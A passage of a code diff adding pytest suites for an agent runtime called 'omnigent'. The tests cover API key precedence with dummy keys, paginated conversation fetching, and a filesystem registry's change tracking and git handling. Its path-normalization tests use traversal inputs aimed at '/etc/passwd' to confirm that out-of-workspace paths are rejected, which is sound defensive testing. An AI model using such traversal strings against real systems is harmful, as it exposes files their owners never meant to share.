assert env["HARNESS_CURSOR_API_KEY"] == "crsr_stored_123"
def test_stored_env_cursor_key_stripped_before_forwarding(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
"""A padded ``env:`` cursor key resolves cleanly before SDK forwarding."""
monkeypatch.setenv("CURSOR_KEY_SRC", "\ncrsr_stored_123\n")
_write_cursor_config(tmp_path, "env:CURSOR_KEY_SRC")
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert env["HARNESS_CURSOR_API_KEY"] == "crsr_stored_123"
def test_stored_cursor_key_wins_over_ambient_when_both_set(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
"""With no spec auth, the stored ``cursor:`` key (registered via ``omnigent
setup``) wins over an ambient ``CURSOR_API_KEY`` when BOTH are present.
This pins the middle rung of the precedence chain (spec auth > stored >
ambient): a refactor that swapped the two branches would silently let an
ambient key override the user's configured one, with no other test failing.
"""
monkeypatch.setenv("CURSOR_KEY_SRC", "crsr_stored_123")
_write_cursor_config(tmp_path, "env:CURSOR_KEY_SRC")
monkeypatch.setenv("CURSOR_API_KEY", "crsr_ambient_456")
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert env["HARNESS_CURSOR_API_KEY"] == "crsr_stored_123"
def test_spec_api_key_auth_wins_over_stored_key(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
"""An explicit api-key auth on the spec takes precedence over the stored key.
Failure means a per-agent ``executor.auth`` is silently overridden by the
machine-wide default — the spec must always win.
"""
monkeypatch.setenv("CURSOR_KEY_SRC", "crsr_stored_123")
_write_cursor_config(tmp_path, "env:CURSOR_KEY_SRC")
env = _build_cursor_spawn_env(_make_spec(auth=ApiKeyAuth(api_key="crsr_explicit_999")))
assert env["HARNESS_CURSOR_API_KEY"] == "crsr_explicit_999"
def test_databricks_auth_does_not_adopt_stored_cursor_key(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
"""An explicit ``DatabricksAuth`` never adopts the stored cursor key.
The stored-key fallback applies ONLY to a spec with no auth at all; a
databricks-routed spec has explicitly chosen a non-cursor credential, so
pulling the cursor key would mis-authenticate the run.
"""
monkeypatch.setenv("CURSOR_KEY_SRC", "crsr_stored_123")
_write_cursor_config(tmp_path, "env:CURSOR_KEY_SRC")
env = _build_cursor_spawn_env(_make_spec(auth=DatabricksAuth(profile="oss")))
assert "HARNESS_CURSOR_API_KEY" not in env
def test_empty_stored_env_key_is_omitted(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
"""A configured ``env:CURSOR_API_KEY`` ref pointing at an EMPTY var is omitted.
``resolve_secret``'s ``env:`` branch only raises on an *unset* variable, so
an exported-but-empty ``CURSOR_API_KEY=""`` resolves to ``""`` — which the
cursor layer folds to ``None``. The builder must therefore write no
``HARNESS_CURSOR_API_KEY`` (the ambient fallback reads the same empty var
and is also skipped), agreeing with ``cursor_api_key_configured() is False``
rather than forwarding a blank credential.
"""
monkeypatch.setenv("CURSOR_API_KEY", "")
_write_cursor_config(tmp_path, "env:CURSOR_API_KEY")
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert "HARNESS_CURSOR_API_KEY" not in env
def test_whitespace_only_stored_env_key_is_omitted(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
"""A configured ``env:`` ref pointing at an all-whitespace var is omitted."""
monkeypatch.setenv("CURSOR_API_KEY", " \n\t ")
_write_cursor_config(tmp_path, "env:CURSOR_API_KEY")
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert "HARNESS_CURSOR_API_KEY" not in env
def test_unresolvable_stored_key_is_omitted(tmp_path: Path) -> None:
"""A dangling stored reference resolves softly to no env var.
The ``cursor:`` block names ``env:CURSOR_KEY_SRC`` but the var is unset, so
the builder must omit ``HARNESS_CURSOR_API_KEY`` (leaving cursor's own
login / inherited key to satisfy auth) rather than crash the spawn.
"""
_write_cursor_config(tmp_path, "env:CURSOR_KEY_SRC")
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert "HARNESS_CURSOR_API_KEY" not in env
+96
View File
@@ -0,0 +1,96 @@
"""Tests for ``fetch_all_items`` in ``omnigent/runtime/workflow.py``.
``fetch_all_items`` drains a conversation by paginating ``list_items`` until
``has_more`` is False, advancing the cursor to each page's ``last_id``. That
cursor-advancement invariant is position-ordering logic that a full workflow
integration test exercises only incidentally, so it gets a focused unit test
here with a store stub that hands back controlled pages.
"""
from __future__ import annotations
from omnigent.entities.conversation import ConversationItem, MessageData
from omnigent.entities.pagination import PagedList
from omnigent.runtime.workflow import fetch_all_items
def _item(item_id: str) -> ConversationItem:
"""Build a minimal persisted message item with the given id."""
return ConversationItem(
id=item_id,
type="message",
status="completed",
response_id="resp_1",
created_at=0,
data=MessageData(role="user", content=[{"type": "input_text", "text": "hi"}]),
)
class _PagedStore:
"""A ConversationStore stub that returns pre-queued pages from ``list_items``.
Records the ``after`` cursor of each call so the test can assert the loop
advances the cursor to the prior page's ``last_id`` rather than re-querying
from the same position.
"""
def __init__(self, pages: list[PagedList[ConversationItem]]) -> None:
self._pages = pages
self.after_calls: list[str | None] = []
def list_items(
self,
conversation_id: str,
limit: int = 100,
after: str | None = None,
before: str | None = None,
order: str = "asc",
type: str | None = None,
) -> PagedList[ConversationItem]:
self.after_calls.append(after)
return self._pages.pop(0)
def test_fetches_a_single_page_without_advancing() -> None:
"""A lone page with ``has_more=False`` returns its items and stops after one call."""
store = _PagedStore([PagedList(data=[_item("a"), _item("b")], last_id="b", has_more=False)])
result = fetch_all_items(store, "conv_1")
assert [i.id for i in result] == ["a", "b"], "Single page items should pass through in order."
assert store.after_calls == [None], (
"One page means exactly one list_items call, starting at None."
)
def test_paginates_until_has_more_is_false() -> None:
"""Items from every page are concatenated in order and the cursor chases ``last_id``."""
store = _PagedStore(
[
PagedList(data=[_item("a"), _item("b")], last_id="b", has_more=True),
PagedList(data=[_item("c"), _item("d")], last_id="d", has_more=True),
PagedList(data=[_item("e")], last_id="e", has_more=False),
]
)
result = fetch_all_items(store, "conv_1")
assert [i.id for i in result] == ["a", "b", "c", "d", "e"], (
"All pages should be drained into one chronological list."
)
# Each successive call advances to the previous page's last_id.
assert store.after_calls == [None, "b", "d"], (
f"Cursor must chase each page's last_id, got {store.after_calls!r}."
)
def test_honors_initial_after_cursor() -> None:
"""The starting ``after`` cursor is passed through to the first query."""
store = _PagedStore([PagedList(data=[_item("z")], last_id="z", has_more=False)])
fetch_all_items(store, "conv_1", after="msg_start")
assert store.after_calls[0] == "msg_start", (
"The initial cursor must reach the first list_items call."
)
def test_empty_conversation_returns_empty_list() -> None:
"""An empty first page yields no items and a single query."""
store = _PagedStore([PagedList(data=[], last_id=None, has_more=False)])
assert fetch_all_items(store, "conv_1") == [], "An empty conversation should drain to []."
assert store.after_calls == [None]
+928
View File
@@ -0,0 +1,928 @@
"""Tests for :mod:`omnigent.runtime.filesystem_registry`.
Covers the ``list_changed_files`` merge logic for :class:`AgentEditFilesystemRegistry`
— specifically the invariant that a file first created in a session keeps status
``"created"`` even when subsequently edited within the same session.
Also covers ``seed_snapshot``, ``get_baseline`` for both implementations, and
``_normalize_path``.
Events are injected via :func:`_inject`, which calls :meth:`record_change` on
the registry so tests exercise the same code path as real tool calls.
"""
import os
import subprocess
from pathlib import Path
import pytest
from omnigent.runtime.filesystem_registry import (
AgentEditFilesystemRegistry,
GitFilesystemRegistry,
GitStatusUnavailable,
_normalize_path,
_parse_git_porcelain_line,
_unquote_git_path,
create_filesystem_registry,
)
def _inject(
registry: AgentEditFilesystemRegistry,
path: str,
operation: str,
conv_id: str,
) -> None:
"""Inject a synthetic file-change event into *registry* via :meth:`record_change`.
Uses the public API so tests exercise the same recording path as real
tool calls, rather than writing directly to internal state.
:param registry: The registry to inject into.
:param path: Relative file path, e.g. ``"src/foo.py"``.
:param operation: One of ``"created"``, ``"modified"``, ``"deleted"``.
:param conv_id: The session to attribute the event to,
e.g. ``"conv_abc123"``.
"""
registry.record_change(path, operation, conv_id)
@pytest.fixture
def registry(tmp_path: Path) -> AgentEditFilesystemRegistry:
"""An :class:`AgentEditFilesystemRegistry` rooted at a fresh temp directory.
:param tmp_path: pytest's built-in temporary directory fixture.
:returns: An :class:`AgentEditFilesystemRegistry` instance with in-memory
event tracking (no persistence).
"""
return AgentEditFilesystemRegistry(watch_path=tmp_path)
def test_created_then_modified_shows_added(registry: AgentEditFilesystemRegistry) -> None:
"""A file created and then edited in the same session must show status ``"created"``.
Regression test for the bug where a ``"modified"`` event (later timestamp)
would overwrite the ``"created"`` event in the merge, causing the file
viewer to display ``"modified"`` instead of ``"created"`` for a newly created file.
"""
conv_id = "conv_test_created_modified"
_inject(registry, "trip.md", "created", conv_id)
_inject(registry, "trip.md", "modified", conv_id)
results = registry.list_changed_files(conv_id, limit=10)
# Exactly one record should appear for trip.md.
assert len(results) == 1, (
f"Expected 1 record for trip.md, got {len(results)}. "
"Duplicate entries suggest the dedup merge didn't fire."
)
# Status must be "created" — the file is new to this session regardless of edits.
# If "modified", the modified event overwrote the created event (the bug).
assert results[0]["status"] == "created", (
f"Expected status 'created' (file is newly created this session), "
f"got '{results[0]['status']}'. "
"A 'M' result means the modified event incorrectly replaced the created event."
)
assert results[0]["path"] == "trip.md"
def test_modified_only_shows_modified(registry: AgentEditFilesystemRegistry) -> None:
"""A file that was only ever modified (pre-existing) shows status ``"modified"``."""
conv_id = "conv_test_modified_only"
_inject(registry, "existing.md", "modified", conv_id)
results = registry.list_changed_files(conv_id, limit=10)
# Exactly one record — the single injected event for existing.md.
# More than 1 would mean dedup is broken; 0 would mean the event was filtered.
assert len(results) == 1
# Pre-existing file touched in this session should remain "modified".
assert results[0]["status"] == "modified", (
f"Expected status 'modified' for a pre-existing modified file, "
f"got '{results[0]['status']}'."
)
def test_created_then_deleted_is_hidden(registry: AgentEditFilesystemRegistry) -> None:
"""A file created and then deleted in the same session must not appear at all.
The file never existed before the session started, and it is gone now —
from the user's perspective it never existed. Showing it as ``"D"``
would be misleading because there is nothing to diff or open.
"""
conv_id = "conv_test_created_deleted"
_inject(registry, "gone.md", "created", conv_id)
_inject(registry, "gone.md", "deleted", conv_id)
results = registry.list_changed_files(conv_id, limit=10)
assert results == [], (
f"Expected no results for a file created then deleted this session, got {results}. "
"A file that never existed before the session and is now gone should be hidden."
)
def test_ephemeral_files_are_suppressed(registry: AgentEditFilesystemRegistry) -> None:
"""Ephemeral process-artifact files must never appear in the Files panel.
Patterns like ``*.tmp``, ``*.tmp.*``, ``*~``, ``*.swp``, ``*.swo``,
and ``#*#`` are write-temp / editor-artifact files that no user wants
to see. They must be filtered regardless of ``.gitignore`` content.
"""
conv_id = "conv_test_ephemeral"
# Inject one event per ephemeral pattern; also inject a real file to
# confirm the filter is selective.
ephemeral_files = [
"pyproject.toml.tmp.12345", # write-then-rename temp (uv, pip, …)
"pyproject.toml.tmp", # plain *.tmp
"notes.md~", # editor backup
".main.py.swp", # vim swap
".main.py.swo", # vim secondary swap
"#README.md#", # Emacs auto-save
]
for f in ephemeral_files:
_inject(registry, f, "created", conv_id)
_inject(registry, "real_file.md", "created", conv_id)
results = registry.list_changed_files(conv_id, limit=50)
paths = [r["path"] for r in results]
# Only the real file should appear.
assert paths == ["real_file.md"], (
f"Expected only 'real_file.md', got {paths}. "
"Ephemeral process-artifact files must be suppressed by record_change."
)
def test_created_modified_multiple_times_stays_added(
registry: AgentEditFilesystemRegistry,
) -> None:
"""Multiple edits after creation must not degrade the ``"created"`` status."""
conv_id = "conv_test_multi_edit"
_inject(registry, "notes.md", "created", conv_id)
_inject(registry, "notes.md", "modified", conv_id)
_inject(registry, "notes.md", "modified", conv_id)
_inject(registry, "notes.md", "modified", conv_id)
results = registry.list_changed_files(conv_id, limit=10)
assert len(results) == 1
# Three subsequent edits must not degrade the status from "created" to "modified".
assert results[0]["status"] == "created", (
f"Expected status 'created' after multiple edits to a newly created file, "
f"got '{results[0]['status']}'."
)
def test_modified_then_deleted_shows_deleted(registry: AgentEditFilesystemRegistry) -> None:
"""A pre-existing file that is modified then deleted must show status ``"deleted"``.
Exercises the ``_net_operation("modified", "deleted") -> "deleted"`` branch.
If this fails with ``"modified"``, the deleted-event handling is not overriding the
earlier modified event.
"""
conv_id = "conv_test_modified_deleted"
_inject(registry, "removed.md", "modified", conv_id)
_inject(registry, "removed.md", "deleted", conv_id)
results = registry.list_changed_files(conv_id, limit=10)
assert len(results) == 1, f"Expected 1 record for removed.md, got {len(results)}."
assert results[0]["status"] == "deleted", (
f"Expected status 'deleted' for a pre-existing file that was deleted, "
f"got '{results[0]['status']}'. "
"A 'M' result means the deleted event did not override the modified event."
)
assert results[0]["path"] == "removed.md"
def test_deleted_then_created_shows_modified(registry: AgentEditFilesystemRegistry) -> None:
"""A file deleted then recreated in the same session shows status ``"modified"``.
Exercises the ``_net_operation("deleted", "created") -> "modified"`` branch:
the file existed before the session, was removed, then put back — the net
effect from the user's perspective is a modification of a pre-existing file.
If this fails with ``"created"``, the replace-within-session path is broken.
"""
conv_id = "conv_test_deleted_created"
_inject(registry, "replaced.md", "deleted", conv_id)
_inject(registry, "replaced.md", "created", conv_id)
results = registry.list_changed_files(conv_id, limit=10)
assert len(results) == 1, f"Expected 1 record for replaced.md, got {len(results)}."
assert results[0]["status"] == "modified", (
f"Expected status 'modified' for a file deleted then recreated this session, "
f"got '{results[0]['status']}'. "
"An 'A' result means the replace-within-session case is mis-classified as new."
)
assert results[0]["path"] == "replaced.md"
def test_session_isolation_events_not_shared_between_sessions(
registry: AgentEditFilesystemRegistry,
) -> None:
"""Events recorded for session A must not appear when querying session B.
With per-session event lists, isolation is guaranteed by the data structure:
record_change attributes events to a specific session, so another session
can never see them.
"""
conv_a = "conv_isolation_A"
conv_b = "conv_isolation_B"
# Record an event attributed to session A only.
_inject(registry, "shared.md", "modified", conv_a)
results_a = registry.list_changed_files(conv_a, limit=10)
results_b = registry.list_changed_files(conv_b, limit=10)
# Session A must see its own event.
assert any(r["path"] == "shared.md" for r in results_a), (
f"Session A should see 'shared.md' (its own event), but results_a = {results_a}."
)
# Session B must see nothing — the event was attributed to session A.
assert results_b == [], (
f"Session B should see no events (no events attributed to it), "
f"but results_b = {results_b}. "
"Per-session isolation is broken."
)
def test_limit_parameter_caps_results(registry: AgentEditFilesystemRegistry) -> None:
"""``list_changed_files`` honours the ``limit`` parameter.
Injecting more files than the limit must not return more records
than requested.
"""
conv_id = "conv_test_limit"
# Inject 5 distinct files.
for i in range(5):
_inject(registry, f"file_{i}.md", "created", conv_id)
results = registry.list_changed_files(conv_id, limit=3)
# At most 3 records must be returned.
assert len(results) <= 3, (
f"Expected at most 3 results with limit=3, got {len(results)}. "
"The limit parameter is not being respected."
)
# ── seed_snapshot / get_baseline ─────────────────────────────────────────────
def test_seed_snapshot_stores_content(tmp_path: Path) -> None:
"""``seed_snapshot`` persists content that ``get_baseline`` returns on a non-git workspace.
The registry is rooted at ``tmp_path`` which is not a git repo, so
``get_baseline`` must fall back to the in-memory snapshot dict.
Failure here means either ``seed_snapshot`` is not writing to
``_snapshots`` or ``get_baseline`` is not reading from it.
"""
reg = AgentEditFilesystemRegistry(watch_path=tmp_path)
reg.seed_snapshot("foo.py", "original")
result = reg.get_baseline("foo.py")
# get_baseline must return exactly what seed_snapshot stored.
# None here means the snapshot was not persisted or the key was normalised
# differently between seed_snapshot and get_baseline.
assert result == "original", (
f"Expected 'original', got {result!r}. "
"seed_snapshot did not persist the content or get_baseline could not retrieve it."
)
def test_seed_snapshot_is_no_op_if_already_exists(tmp_path: Path) -> None:
"""A second ``seed_snapshot`` call with different content must not overwrite the first.
First-write-wins semantics guarantee that the snapshot always reflects
the state *before* the very first write — subsequent writes should not
corrupt it. Failure means the guard ``if norm not in self._snapshots``
is missing or broken.
"""
reg = AgentEditFilesystemRegistry(watch_path=tmp_path)
reg.seed_snapshot("bar.py", "first")
reg.seed_snapshot("bar.py", "second") # must be a no-op
result = reg.get_baseline("bar.py")
# Must still be 'first' — the second call must not overwrite.
assert result == "first", (
f"Expected 'first' (first-write-wins), got {result!r}. "
"The second seed_snapshot call overwrote the first snapshot."
)
def test_get_baseline_returns_none_when_no_snapshot(tmp_path: Path) -> None:
"""``get_baseline`` returns ``None`` when no snapshot exists and there is no git repo.
Verifies the non-git fallback path ends with ``_snapshots.get(norm)``
which returns ``None`` for an unknown key. Failure (returning a non-None
value) would mean a phantom baseline is being manufactured.
"""
reg = AgentEditFilesystemRegistry(watch_path=tmp_path)
result = reg.get_baseline("never_seeded.py")
# No snapshot, no git → must return None.
assert result is None, f"Expected None (no snapshot, no git), got {result!r}."
def test_get_baseline_returns_snapshot_for_non_git_workspace(tmp_path: Path) -> None:
"""``get_baseline`` returns the snapshot seeded via ``seed_snapshot`` in a non-git workspace.
Redundant with ``test_seed_snapshot_stores_content`` but explicitly
documents the non-git dispatch path of ``get_baseline``. Both tests
cover the same branch so that if either regresses the failure message
clearly names the failing path.
"""
reg = AgentEditFilesystemRegistry(watch_path=tmp_path)
reg.seed_snapshot("src/lib.py", "lib original")
result = reg.get_baseline("src/lib.py")
# Must match what was seeded — proves the non-git snapshot fallback works.
assert result == "lib original", (
f"Expected 'lib original', got {result!r}. "
"Non-git get_baseline fallback is not returning the seeded snapshot."
)
def _git_env() -> dict[str, str]:
"""Build an env dict with dummy git identity to avoid 'user.email' errors.
:returns: Copy of the current environment with GIT_AUTHOR_* and
GIT_COMMITTER_* set to safe dummy values.
"""
return {
**os.environ,
"GIT_AUTHOR_NAME": "Test",
"GIT_AUTHOR_EMAIL": "test@example.com",
"GIT_COMMITTER_NAME": "Test",
"GIT_COMMITTER_EMAIL": "test@example.com",
}
def test_get_baseline_uses_git_show_for_committed_file(tmp_path: Path) -> None:
"""``get_baseline`` returns committed content via ``git show HEAD:<path>`` in a git workspace.
Uses a real git repo initialised in ``tmp_path`` so the subprocess
codepath is fully exercised. Failure means either ``_git_root`` was
not detected or the ``git show`` invocation returned wrong content.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
(tmp_path / "committed.py").write_text("committed content")
subprocess.run(
["git", "add", "committed.py"], cwd=tmp_path, check=True, capture_output=True, env=env
)
subprocess.run(
["git", "commit", "-m", "init"],
cwd=tmp_path,
check=True,
capture_output=True,
env=env,
)
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
result = reg.get_baseline("committed.py")
# Must return exactly what was committed — confirms git show is being called
# and its stdout is decoded correctly.
assert result == "committed content", (
f"Expected 'committed content', got {result!r}. "
"get_baseline did not return the committed file content via git show."
)
def test_get_baseline_returns_none_for_new_untracked_file(tmp_path: Path) -> None:
"""``get_baseline`` returns ``None`` for a file that is not tracked in git.
Uses a real ``GitFilesystemRegistry`` so the git show subprocess path is
fully exercised. An empty commit ensures HEAD exists so that
``git show HEAD:<path>`` fails cleanly (non-zero exit) rather than
erroring on a missing HEAD ref. Failure (returning non-None) would
mean git show returned exit 0 for an untracked file.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
# Create HEAD via an empty commit so `git show HEAD:<path>` fails cleanly.
subprocess.run(
["git", "commit", "--allow-empty", "-m", "init"],
cwd=tmp_path,
check=True,
capture_output=True,
env=env,
)
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
result = reg.get_baseline("untracked.py")
# untracked.py is not in git — git show must return non-zero, so None.
assert result is None, (
f"Expected None for an untracked file, got {result!r}. "
"get_baseline returned a non-None baseline for a file not in git."
)
def test_git_list_changed_files_excludes_terminals_dir(tmp_path: Path) -> None:
"""``list_changed_files`` must not surface files under the ``terminals/`` directory.
The runner writes terminal session output to ``<workspace>/terminals/<id>.txt``.
These files are never agent-edited source files and must be hidden from the
Files panel regardless of their git status. Failure means terminal output
files would appear as phantom "changes" in sessions that made no file edits.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
subprocess.run(
["git", "commit", "--allow-empty", "-m", "init"],
cwd=tmp_path,
check=True,
capture_output=True,
env=env,
)
# Simulate the runner creating terminal output files.
terminals_dir = tmp_path / "terminals"
terminals_dir.mkdir()
(terminals_dir / "6.txt").write_text("terminal output")
# Also create a legitimate source file change so we can confirm list_changed_files
# is still returning real changes (not silently returning empty).
(tmp_path / "real_change.py").write_text("agent wrote this")
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
results = reg.list_changed_files("any-conv", limit=100)
paths = [r["path"] for r in results]
# The real source file must appear — confirms list_changed_files is working.
assert "real_change.py" in paths, (
f"Expected 'real_change.py' in results but got {paths}. "
"list_changed_files may not be returning untracked source files."
)
# Terminal output files must be suppressed.
terminal_paths = [p for p in paths if p.startswith("terminals/")]
assert terminal_paths == [], (
f"Expected no terminals/ paths but got {terminal_paths}. "
"Terminal output files are leaking into the Files panel."
)
def test_git_changed_files_suppress_ephemeral_files(tmp_path: Path) -> None:
"""Git-backed changed files must hide temp/editor artifacts.
The non-git registry already suppresses these names when agent tools record
changes. Git workspaces should behave the same way even though they read
from ``git status`` instead of recorded agent events.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
subprocess.run(
["git", "commit", "--allow-empty", "-m", "init"],
cwd=tmp_path,
check=True,
capture_output=True,
env=env,
)
ephemeral_files = [
"pyproject.toml.tmp.12345",
"pyproject.toml.tmp",
"notes.md~",
".main.py.swp",
".main.py.swo",
"#README.md#",
]
for file_path in ephemeral_files:
(tmp_path / file_path).write_text("temporary artifact")
(tmp_path / "real_change.py").write_text("agent wrote this")
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
results = reg.list_changed_files("any-conv", limit=100)
paths = [r["path"] for r in results]
assert paths == ["real_change.py"], (
f"Expected only 'real_change.py', got {paths}. "
"Git-backed changed files should suppress temp/editor artifacts."
)
for file_path in ephemeral_files:
result = reg.get_changed_file("any-conv", file_path)
assert result is None, (
f"Expected get_changed_file to hide {file_path!r}, got {result!r}. "
"Direct file lookup should match the changed-files list."
)
real_result = reg.get_changed_file("any-conv", "real_change.py")
assert real_result is not None
assert real_result["status"] == "created"
def test_git_list_changed_files_raises_on_timeout(tmp_path: Path, monkeypatch) -> None:
"""A ``git status`` timeout must raise, not silently return an empty list.
The old code swallowed ``TimeoutExpired`` to ``[]``, so the Files panel
showed "No workspace changes yet" even with real modifications — a state
indistinguishable from a clean tree. The failure must surface so the
endpoint can report it and the cause is no longer hidden.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
def _raise_timeout(*_args, **_kwargs):
raise subprocess.TimeoutExpired(cmd="git status", timeout=5)
monkeypatch.setattr("omnigent.runtime.filesystem_registry.subprocess.run", _raise_timeout)
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
with pytest.raises(GitStatusUnavailable, match="timed out"):
reg.list_changed_files("any-conv", limit=100)
def test_git_list_changed_files_raises_on_nonzero_exit(tmp_path: Path, monkeypatch) -> None:
"""A non-zero ``git status`` exit must raise, not silently return ``[]``.
e.g. "detected dubious ownership" when the runner uid differs from the
checkout owner — previously swallowed to an empty list.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
def _nonzero(*_args, **_kwargs):
return subprocess.CompletedProcess(
args="git status",
returncode=128,
stdout=b"",
stderr=b"fatal: detected dubious ownership in repository",
)
monkeypatch.setattr("omnigent.runtime.filesystem_registry.subprocess.run", _nonzero)
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
with pytest.raises(GitStatusUnavailable, match="exited 128"):
reg.list_changed_files("any-conv", limit=100)
def test_git_get_changed_file_raises_on_timeout(tmp_path: Path, monkeypatch) -> None:
"""A ``git status`` timeout in the single-file lookup must raise, not return ``None``.
Swallowing it to ``None`` made the diff endpoint answer 404 — a state
indistinguishable from "this path has no changes" — for a read that
*could not run*. The failure must surface like the list path.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
def _raise_timeout(*_args, **_kwargs):
raise subprocess.TimeoutExpired(cmd="git status", timeout=5)
monkeypatch.setattr("omnigent.runtime.filesystem_registry.subprocess.run", _raise_timeout)
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
with pytest.raises(GitStatusUnavailable, match="timed out"):
reg.get_changed_file("any-conv", "a.txt")
def test_git_get_changed_file_raises_on_nonzero_exit(tmp_path: Path, monkeypatch) -> None:
"""A non-zero ``git status`` exit in the single-file lookup must raise, not return ``None``."""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
def _nonzero(*_args, **_kwargs):
return subprocess.CompletedProcess(
args="git status",
returncode=128,
stdout=b"",
stderr=b"fatal: detected dubious ownership in repository",
)
monkeypatch.setattr("omnigent.runtime.filesystem_registry.subprocess.run", _nonzero)
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
with pytest.raises(GitStatusUnavailable, match="exited 128"):
reg.get_changed_file("any-conv", "a.txt")
def test_git_get_changed_file_returns_none_when_unchanged(tmp_path: Path) -> None:
"""A clean ``git status`` (exit 0, no output) still means "no changes" → ``None``.
Guards against the raise paths swallowing the legitimate empty case: a
tracked, unmodified file must return ``None``, not raise.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
(tmp_path / "a.txt").write_text("hello\n")
subprocess.run(["git", "add", "a.txt"], cwd=tmp_path, check=True, capture_output=True, env=env)
subprocess.run(
["git", "commit", "-m", "init"], cwd=tmp_path, check=True, capture_output=True, env=env
)
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
assert reg.get_changed_file("any-conv", "a.txt") is None
def test_git_list_changed_files_expands_untracked_nested_dir(tmp_path: Path) -> None:
"""A new file in a brand-new untracked directory tree returns its full path.
Default ``git status --porcelain`` collapses an entirely-untracked directory
to a single ``?? dir/`` line, so the Files panel would show the directory
(stat'd as ~96 B) with an "A" badge instead of the actual added file. The
``--untracked-files=all`` flag forces git to expand the directory. Failure
means the nested file is missing and only the top-level dir appears.
"""
env = _git_env()
subprocess.run(["git", "init"], cwd=tmp_path, check=True, capture_output=True, env=env)
subprocess.run(
["git", "commit", "--allow-empty", "-m", "init"],
cwd=tmp_path,
check=True,
capture_output=True,
env=env,
)
nested_rel = "projects/dais-2026-outlines/context/outlines/2026-06-01-revision.md"
nested = tmp_path / nested_rel
nested.parent.mkdir(parents=True)
nested.write_text("outline content")
reg = GitFilesystemRegistry(watch_path=tmp_path, git_root=tmp_path)
results = reg.list_changed_files("any-conv", limit=100)
paths = [r["path"] for r in results]
assert nested_rel in paths, (
f"Expected the full nested file path in results but got {paths}. "
"git status is collapsing the untracked directory instead of expanding it."
)
# The bare directory must NOT appear as a phantom file.
assert "projects" not in paths, (
f"Expected no bare 'projects' directory entry but got {paths}. "
"The untracked directory is masquerading as the added file."
)
record = next(r for r in results if r["path"] == nested_rel)
assert record["status"] == "created", (
f"Expected status 'created' for the new file, got {record['status']!r}."
)
# ── _normalize_path ──────────────────────────────────────────────────────────
def test_normalize_path_absolute_path_is_made_relative(tmp_path: Path) -> None:
"""An absolute path under ``cwd`` is returned as a relative string.
``_normalize_path`` must strip the ``cwd`` prefix and return the
remainder as a plain string. Failure (returning the absolute path)
means the ``p.relative_to(cwd)`` branch is not being taken.
"""
cwd = tmp_path
abs_path = str(cwd / "src" / "foo.py")
result = _normalize_path(abs_path, cwd)
# The absolute prefix must be stripped; only the relative tail remains.
assert result == "src/foo.py", (
f"Expected 'src/foo.py', got {result!r}. Absolute path under cwd was not made relative."
)
def test_normalize_path_relative_path_passthrough(tmp_path: Path) -> None:
"""A relative path is returned unchanged.
``_normalize_path`` must not modify a path that is already relative.
Failure means the relative branch is being incorrectly rewritten.
"""
cwd = tmp_path
result = _normalize_path("src/bar.py", cwd)
# Relative path must pass through without modification.
assert result == "src/bar.py", (
f"Expected 'src/bar.py', got {result!r}. Relative path was modified unexpectedly."
)
def test_normalize_path_absolute_outside_cwd_returns_none(tmp_path: Path) -> None:
"""An absolute path outside ``cwd`` is rejected (returns ``None``).
The traversal-prevention logic must return ``None`` rather than letting
an out-of-bounds path through to the registry. Failure (returning the
raw path string) would mean the traversal check is absent or broken.
"""
cwd = (tmp_path / "sub").resolve()
outside = "/etc/passwd"
result = _normalize_path(outside, cwd)
# Paths outside the workspace root must be rejected.
assert result is None, (
f"Expected None for out-of-bounds path, got {result!r}. "
"Traversal check did not reject an absolute path outside cwd."
)
def test_normalize_path_relative_traversal_returns_none(tmp_path: Path) -> None:
"""A relative path with ``..`` components that escapes ``cwd`` is rejected.
``../../etc/passwd`` resolves outside the workspace root and must return
``None``. Failure (returning the raw traversal string) would let a
caller-supplied path pollute the registry with misleading entries.
"""
cwd = (tmp_path / "sub").resolve()
result = _normalize_path("../../etc/passwd", cwd)
# Relative traversal that escapes the workspace must be rejected.
assert result is None, (
f"Expected None for escaping relative path, got {result!r}. "
"Traversal check did not reject a '../..' path that exits cwd."
)
def test_normalize_path_relative_dotdot_within_cwd_is_normalized(tmp_path: Path) -> None:
"""A ``..`` path that stays within ``cwd`` is normalized, not rejected.
``src/../foo.py`` resolves to ``foo.py`` inside the workspace and must
be returned as the normalized relative form. Failure (returning ``None``)
would incorrectly block legitimate paths with redundant ``..`` segments.
"""
cwd = tmp_path.resolve()
result = _normalize_path("src/../foo.py", cwd)
# Safe traversal that stays within the workspace must survive.
assert result == "foo.py", (
f"Expected 'foo.py' after normalizing 'src/../foo.py', got {result!r}. "
